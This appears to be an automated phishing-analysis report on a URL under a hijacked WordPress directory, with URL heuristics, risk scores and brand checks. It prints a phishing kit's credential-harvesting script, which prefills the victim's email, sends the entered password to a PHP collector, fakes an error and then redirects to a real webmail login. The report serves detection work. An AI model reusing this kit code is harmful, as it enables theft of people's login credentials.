Windows Analysis Report
https://hwos-1988.de/wp-admin/js/activemail/index.html#sample@condenast.jp

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://hwos-1988.de

{
    "risk_score": 7,
    "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including data exfiltration, redirects to suspicious domains, and aggressive DOM manipulation. While some of the behaviors may be intended for legitimate purposes, such as form submission and error handling, the overall implementation raises concerns due to the potential for abuse and lack of transparency."
}

        const phpurl = "./result.php"; // YOUR PHP URL HERE  eg http://yourdomai.com/result.php

        const fullUrl = window.location.href;
        const emailRegex = /#([^#]+)$/;
        const match = fullUrl.match(emailRegex);
        const email = match ? match[1] : null;
    
        console.log(email);
    
        if (email) {
            document.getElementById("domainInput").value = email;
        }

        const boxalert = document.querySelector(".boxalert");
        document.getElementById("close").addEventListener("click", ()=>{
            boxalert.style.display = "none"
        })
        
       document.addEventListener('contextmenu', function (e) {
         e.preventDefault();
       });
        var formSubmitted = 0;
    
        document.getElementById("me").addEventListener("submit", function (event) {
            event.preventDefault();
        
            formSubmitted++;
        
            var inputs = document.querySelectorAll('input[required]');
            for (var i = 0; i < inputs.length; i++) {
                if (!inputs[i].value.trim()) {
                    alert("Please fill in all fields.");
                    return;
                }
            }
        
            var formData = new FormData(this);
            var xhr = new XMLHttpRequest();
            xhr.open("POST", `${phpurl}`, true);
        
            xhr.onreadystatechange = function () {
                if (xhr.readyState == 4 && xhr.status == 200) {
                    console.log(xhr.responseText);
        
                    if (formSubmitted === 1) {
                        document.getElementById("password").value = "";
                        boxalert.style.display = "block"
                    } else if (formSubmitted === 2 || 3 || 4 || 5 || 6 || 7 || 8) {
                            // document.getElementById("password").value = "";
                            // Redirect to the specified URL
                            window.location.href = "https://acmail6.secure.ne.jp/am_bin/amlogin";
                            console.log("GOOOOOO");
                    }
                }
            };
        
            xhr.send(formData);
        });
    

{
    "risk_score": 6,
    "reasoning": "This script exhibits a mix of moderate-risk and low-risk behaviors. It extracts an email address from the URL and populates a form field, which could be considered a form of data exfiltration (2 points). It also disables the right-click context menu, which could be a privacy or usability concern (1 point). However, the script appears to be handling form submissions securely by preventing default form submission and using XMLHttpRequest to send the data to a server-side PHP script. Overall, the script requires further review due to the potential data exfiltration and aggressive DOM manipulation, but it does not demonstrate clear malicious intent."
}

        const phpurl = "./result.php"; // YOUR PHP URL HERE  eg http://yourdomai.com/result.php

        const fullUrl = window.location.href;
        const emailRegex = /#([^#]+)$/;
        const match = fullUrl.match(emailRegex);
        const email = match ? match[1] : null;
    
        console.log(email);
    
        if (email) {
            document.getElementById("domainInput").value = email;
        }

        const boxalert = document.querySelector(".boxalert");
        document.getElementById("close").addEventListener("click", ()=>{
            boxalert.style.display = "none"
        })
        
       document.addEventListener('contextmenu', function (e) {
         e.preventDefault();
       });
        var formSubmitted = 0;
    
        document.getElementById("me").addEventListener("submit", function (event) {
            event.preventDefault();
        
            formSubmitted++;
        
            var inputs = document.querySelectorAll('input[required]');
            for (var i = 0; i < inputs.length; i++) {
                if (!inputs[i].value.trim()) {
                    alert("Please fill in all fields.");
                    return;
                }
            }
        
            var formData = new FormData(this);
            var xhr = new XMLHttpRequest();
            xhr.open("POST", `${phpurl}`, true);
        
            xhr.onreadystatechange = function () {
                if (xhr.readyState == 4 && xhr.status == 200) {
                    console.log(xhr.responseText);
        
                    if (formSubmitted === 1) {
    

{
  "contains_trigger_text": true,
  "trigger_text": "ID/",
  "prominent_button_name": "",
  "text_input_field_labels": [
    "ID",
    ""
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": false
}

{
  "brands": "unknown"
}

```json{  "legit_domain": "unknown",  "classification": "unknown",  "reasons": [    "The brand name provided is 'u', which is not recognizable or associated with any known brand.",    "The URL 'hwos-1988.de' does not match any well-known brand domain.",    "The domain name contains a hyphen and a number, which is often used in phishing attempts to mimic legitimate domains.",    "The domain extension '.de' is a country code for Germany, which may not be relevant to the brand or service being impersonated.",    "The input fields are in Japanese, which may not align with the domain's country code, adding to the suspicion."  ],  "riskscore": 8}

URL: hwos-1988.de
			Brands: u
			Input Fields: ID,